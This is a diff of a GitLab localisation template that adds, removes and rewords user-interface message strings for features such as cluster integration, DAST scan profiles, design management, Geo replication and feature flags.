-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
